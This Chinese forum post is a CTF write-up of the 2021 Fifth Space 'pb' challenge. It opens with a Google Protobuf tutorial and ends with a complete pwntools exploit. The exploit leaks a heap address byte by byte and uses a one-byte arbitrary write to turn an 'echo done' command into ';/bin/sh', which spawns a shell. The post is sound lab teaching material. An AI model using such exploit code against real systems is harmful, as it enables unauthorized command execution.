首页
社区
课程
招聘
[原创] 2021第五空间 pb WP
2021-10-27 22:52 8612

[原创] 2021第五空间 pb WP

2021-10-27 22:52
8612

总结

基于2021第五空间的题目pb学习google Protobuf。

google Protobuf

题目通过google Protobuf 实现了数据的编解码应用。Google Protobuf是一种平台无关,语言无关的结构化数据编解码协议,类似JSON或者XML。且Google Protobuf支持多种语言,C++,python等,这里使用的是C++。

Ubuntu 18.04安装 C++ Protocol

首先找到最新版本的protobuf:https://github.com/protocolbuffers/protobuf/releases
我这里下载的是:protobuf-cpp-3.18.0.tar.gz

 

下载并安装 需要root权限

1
2
3
4
5
6
tar -xzvf protobuf-cpp-3.18.0.tar.gz
cd protobuf-3.18.0
./autogen.sh
./configure --prefix=/usr/local/protobuf
make -j8 && make install
ldconfig

安装完成之后,需要配置protobuf命令

 

更新环境变量

1
2
3
4
5
6
/etc/profile文件中添加下面两行
export PATH=$PATH:/usr/local/protobuf/bin/
export PKG_CONFIG_PATH=/usr/local/protobuf/lib/pkgconfig/
 
然后执行
source /etc/profile

配置动态链接库

1
2
3
4
5
在文件/etc/ld.so.conf中添加下面一行
/usr/local/protobuf/lib(注意: 在新行处添加)
 
更改完成之后执行下面的命令
ldconfig

.proto文件

.proto文件是protobuf一个重要的文件,它定义了需要序列化数据的结构。编写.proto文件的步骤如下:

  1. 定义消息格式文件,最好以proto作为后缀名
  2. 使用Google提供的protocol buffers编译器来生成代码文件,一般为.h和.cc文件,主要是对消息格式以特定的语言方式描述
  3. 使用protocol buffers库提供的API来编写应用程序
.proto文件的example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
syntax = "proto2";
 
package tutorial:;
 
message Person {
  optional string name = 1;
  optional int32 id = 2;
  optional string email = 3;
 
  enum PhoneType {
    MOBILE = 0;
    HOME = 1;
    WORK = 2;
  }
 
  message PhoneNumber {
    optional string number = 1;
    optional PhoneType type = 2 [default = HOME];
  }
 
  repeated PhoneNumber phones = 4;
}
 
message AddressBook {
  repeated Person people = 1;
}

每个字段而言都有一个修饰符(required/repeated/optional)、字段类型(bool/string/bytes/int32等)和字段标签(Tag)组成。

  1. 对于required的字段而言,初值是必须要提供的,否则字段的便是未初始化的。
  2. 对于optional的字段而言,如果未进行初始化,那么一个默认值将赋予该字段,当然也可以指定默认值,如上述proto定义中的PhoneType字段类型。
  3. 对于repeated的字段而言,该字段可以重复多个。
  4. 其中字段标签标示了字段在二进制流中存放的位置,这个是必须的,而且序列化与反序列化的时候相同的字段的Tag值必须对应,否则反序列化会出现意想不到的问题
protoc 编译 .proto 文件生成读写接口
1
2
3
4
5
6
// $SRC_DIR: .proto 所在的源目录
// --cpp_out: 生成 c++ 代码
// $DST_DIR: 生成代码的目标目录
// xxx.proto: 要针对哪个 proto 文件生成接口代码
 
protoc -I=$SRC_DIR --cpp_out=$DST_DIR $SRC_DIR/xxx.proto

这里用上面的.proto文件的example进行编译,生成address.pb.h 和address.pb.cc 文件

1
protoc -I=./ --cpp_out=./ addressbook.proto

address.pb.h中提供了对成员变量的访问和修改的接口以及解析和序列化的接口,详细请阅读文档。这里只举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  // string 类型的成员变量 name
  inline bool has_name() const;
  inline void clear_name();
  inline const ::std::string& name() const;
  inline void set_name(const ::std::string& value);
  inline void set_name(const char* value);
  inline ::std::string* mutable_name(); // 让你获得指向字符串的直接指针的getter,以及一个额外的setter。对应.proto中的repeated字段
 
  // 整形的成员变量 id
  inline bool has_id() const;
  inline void clear_id();
  inline int32_t id() const;
  inline void set_id(int32_t value);
 
 
bool SerializeToString(string* output) const; // 将消息序列化并且存储在output变量中
bool ParseFromString(const string& data);  // 从字符串中解析消息序列
bool SerializeToOstream(ostream* output) const; // 将消息序列化成字符串并输入文件中
bool ParseFromIstream(istream* input); // 从文件中读取字符串并且解析为消息序列

实测代码

实测代码来源:MessageAPI接口文档:https://developers.google.cn/protocol-buffers/docs/cpptutorial

 

write_message.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <iostream>
#include <fstream>
#include <string>
#include "addressbook.pb.h"
using namespace std;
 
// This function fills in a Person message based on user input.
void PromptForAddress(tutorial::Person* person) {
  cout << "Enter person ID number: ";
  int id;
  cin >> id;
  person->set_id(id);
  cin.ignore(256, '\n');
 
  cout << "Enter name: ";
  getline(cin, *person->mutable_name());
 
  cout << "Enter email address (blank for none): ";
  string email;
  getline(cin, email);
  if (!email.empty()) {
    person->set_email(email);
  }
 
  while (true) {
    cout << "Enter a phone number (or leave blank to finish): ";
    string number;
    getline(cin, number);
    if (number.empty()) {
      break;
    }
 
    tutorial::Person::PhoneNumber* phone_number = person->add_phones();
    phone_number->set_number(number);
 
    cout << "Is this a mobile, home, or work phone? ";
    string type;
    getline(cin, type);
    if (type == "mobile") {
      phone_number->set_type(tutorial::Person::MOBILE);
    } else if (type == "home") {
      phone_number->set_type(tutorial::Person::HOME);
    } else if (type == "work") {
      phone_number->set_type(tutorial::Person::WORK);
    } else {
      cout << "Unknown phone type.  Using default." << endl;
    }
  }
}
 
// Main function:  Reads the entire address book from a file,
//   adds one person based on user input, then writes it back out to the same
//   file.
int main(int argc, char* argv[]) {
  // Verify that the version of the library that we linked against is
  // compatible with the version of the headers we compiled against.
  GOOGLE_PROTOBUF_VERIFY_VERSION;
 
  if (argc != 2) {
    cerr << "Usage:  " << argv[0] << " ADDRESS_BOOK_FILE" << endl;
    return -1;
  }
 
  tutorial::AddressBook address_book;
 
  {
    // Read the existing address book.
    fstream input(argv[1], ios::in | ios::binary);
    if (!input) {
      cout << argv[1] << ": File not found.  Creating a new file." << endl;
    } else if (!address_book.ParseFromIstream(&input)) {
      cerr << "Failed to parse address book." << endl;
      return -1;
    }
  }
 
  // Add an address.
  PromptForAddress(address_book.add_people());
 
  {
    // Write the new address book back to disk.
    fstream output(argv[1], ios::out | ios::trunc | ios::binary);
    if (!address_book.SerializeToOstream(&output)) {
      cerr << "Failed to write address book." << endl;
      return -1;
    }
  }
 
  // Optional:  Delete all global objects allocated by libprotobuf.
  google::protobuf::ShutdownProtobufLibrary();
 
  return 0;
}

read_message.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <iostream>
#include <fstream>
#include <string>
#include "addressbook.pb.h"
using namespace std;
 
// Iterates though all people in the AddressBook and prints info about them.
void ListPeople(const tutorial::AddressBook& address_book) {
  for (int i = 0; i < address_book.people_size(); i++) {
    const tutorial::Person& person = address_book.people(i);
 
    cout << "Person ID: " << person.id() << endl;
    cout << "  Name: " << person.name() << endl;
    if (person.has_email()) {
      cout << "  E-mail address: " << person.email() << endl;
    }
 
    for (int j = 0; j < person.phones_size(); j++) {
      const tutorial::Person::PhoneNumber& phone_number = person.phones(j);
 
      switch (phone_number.type()) {
        case tutorial::Person::MOBILE:
          cout << "  Mobile phone #: ";
          break;
        case tutorial::Person::HOME:
          cout << "  Home phone #: ";
          break;
        case tutorial::Person::WORK:
          cout << "  Work phone #: ";
          break;
      }
      cout << phone_number.number() << endl;
    }
  }
}
 
// Main function:  Reads the entire address book from a file and prints all
//   the information inside.
int main(int argc, char* argv[]) {
  // Verify that the version of the library that we linked against is
  // compatible with the version of the headers we compiled against.
  GOOGLE_PROTOBUF_VERIFY_VERSION;
 
  if (argc != 2) {
    cerr << "Usage:  " << argv[0] << " ADDRESS_BOOK_FILE" << endl;
    return -1;
  }
 
  tutorial::AddressBook address_book;
 
  {
    // Read the existing address book.
    fstream input(argv[1], ios::in | ios::binary);
    if (!address_book.ParseFromIstream(&input)) {
      cerr << "Failed to parse address book." << endl;
      return -1;
    }
  }
 
  ListPeople(address_book);
 
  // Optional:  Delete all global objects allocated by libprotobuf.
  google::protobuf::ShutdownProtobufLibrary();
 
  return 0;
}

分别对write_message.cpp 和 read_message.cpp进行编译

1
2
3
4
g++ addressbook.pb.cc write_message.cpp -o write `pkg-config --cflags --libs protobuf`
g++ addressbook.pb.cc read_message.cpp -o read `pkg-config --cflags --libs protobuf`
 
可以添加-g选项保留调试信息

对实测代码进行反汇编

这里反汇编的是read_message的可执行文件。

 

对main函数的逆向:

 

read_message

 

对信息序列结构体的分析:

 

addressbook:

 

 

person:

 

 

person_PhoneNumber:

 

 

在认真分析之后就可以开始进入正题了。

2021-5space-pb

保护情况
1
2
3
4
5
6
[*] '/mnt/d/WSL/Ubuntu18/race/5space/pb'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

没开PIE。

漏洞点

题目的漏洞出现在ListPeople函数中:

 

 

同样对题目的信息序列结构体和read_message可执行文件中的结构体进行比对分析。并且提取题目文件中的结构体信息。然后只要控制好关键的成员变量就能实现地址信息泄露和任意地址写入。但是每次泄露和写入的数据的大小只能是一个字节。

 

经过反复对比和尝试逆向出来的.proto文件,成员变量的tag顺序需要一一对应,否则解析不成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
syntax = "proto2";
 
package ctf;
 
message Person {
  enum PhoneType {
    MOBILE = 0;
    HOME = 1;
    WORK = 2;
  }
  message PhoneNumber {
    optional string number = 1;
    optional PhoneType type = 2 ;
  }
  optional string bio = 1;
  optional int32 id = 2;
  optional string email = 3;
  repeated PhoneNumber phones = 4;
  optional string name = 5;
  optional bool rw = 6;
  repeated uint64 salary = 7;
  repeated int64 day = 8;
  required string show_off = 9;
 
}
 
message AddressBook {
    repeated Person people = 1;
}

当然也可以使用自动化工具分析提取:https://github.com/marin-m/pbtk

 

下载之后找到./extractors/from_binary.py文件,执行即可

1
2
pip3 install protobuf
./extractors/from_binary.py [-h] input_file [output_dir]
exp编写

.proto 同样支持python,利用proto编译器编译从题目提取出来的.proto文件

1
2
3
pip install google
pip install protobuf
protoc -I=./ --python_out=./ addressbook.proto  // 得到addressbook_pb2.py

要将addressbook_pb2.py文件移到和exp同一目录下。

 

exp_pb.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
from addressbook_pb2 import *
context(os='linux', arch='amd64',log_level='debug')
p=process("./pb")
 
 
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info_addr = lambda tag, addr        :p.success(tag + ': {:#x}'.format(addr))
 
 
def debug():
    gdb.attach(p)
    p.interactive()
 
def debug_pause():
    gdb.attach(p)
    pause()
 
def new_person(offset,cr,rw,bio="111",name="clarkes"):
    person = Person()
    addressbook = AddressBook()
    person.day.append(offset)
    person.salary.append(cr)
    person.name = name
    person.bio = bio
    person.id=10
    person.show_off = ""
    if rw:
        person.rw=True
 
    addressbook.people.append(person)
    return addressbook.SerializeToString()
 
#debug_pause()
#gdb.attach(p,"b *0x40bdfe")
#0x41faa5
#0x40671E
#0x409D1A
#0x40BBB6
# leak heap_address
heap_address=0
ru("Your input size:")
sl(str(len(new_person(0x20,1,0))))
se(new_person(0x20,1,0))
ru("Show me the money: ")
value=int(p.recvuntil("\n",drop=True))
heap_address=value
 
ru("Your input size:")
sl(str(len(new_person(0x21,1,0))))
se(new_person(0x21,1,0))
ru("Show me the money: ")
value=int(p.recvuntil("\n",drop=True))
heap_address=heap_address+value*0x100
 
ru("Your input size:")
sl(str(len(new_person(0x22,1,0))))
se(new_person(0x22,1,0))
ru("Show me the money: ")
value=int(p.recvuntil("\n",drop=True))
heap_address=heap_address+value*0x10000
 
ru("Your input size:")
sl(str(len(new_person(0x23,1,0))))
se(new_person(0x23,1,0))
ru("Show me the money: ")
value=int(p.recvuntil("\n",drop=True))
heap_address=heap_address+value*0x1000000
 
info_addr("heap_address",heap_address)
 
# 0x8EC2C8 echo done
# 0x8EC2C9 ;/bin/sh   最后添加";"符号,getshell
target = 0x8EC2C9-(heap_address-0x90)
ru("Your input size:")
sl(str(len(new_person(target+1,ord("/"),1))))
se(new_person(target+1,ord("/"),1))
 
ru("Your input size:")
sl(str(len(new_person(target+2,ord("b"),1))))
se(new_person(target+2,ord("b"),1))
 
ru("Your input size:")
sl(str(len(new_person(target+3,ord("i"),1))))
se(new_person(target+3,ord("i"),1))
 
ru("Your input size:")
sl(str(len(new_person(target+4,ord("n"),1))))
se(new_person(target+4,ord("n"),1))
 
ru("Your input size:")
sl(str(len(new_person(target+5,ord("/"),1))))
se(new_person(target+5,ord("/"),1))
 
ru("Your input size:")
sl(str(len(new_person(target+6,ord("s"),1))))
se(new_person(target+6,ord("s"),1))
 
ru("Your input size:")
sl(str(len(new_person(target+7,ord("h"),1))))
se(new_person(target+7,ord("h"),1))
 
ru("Your input size:")
sl(str(len(new_person(target,ord(";"),1))))
se(new_person(target,ord(";"),1))
 
#debug()
p.interactive()

感想

漏洞点相对简单,主要是学习了protobuf的使用和逆向和.proto的提取。

参考

protobuf的安装:https://blog.csdn.net/baidu_32237719/article/details/99649451

 

MessageAPI接口文档:https://developers.google.cn/protocol-buffers/docs/cpptutorial

 

自动化提取proto脚本:https://github.com/marin-m/pbtk


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-10-27 22:53 被c1arkes编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回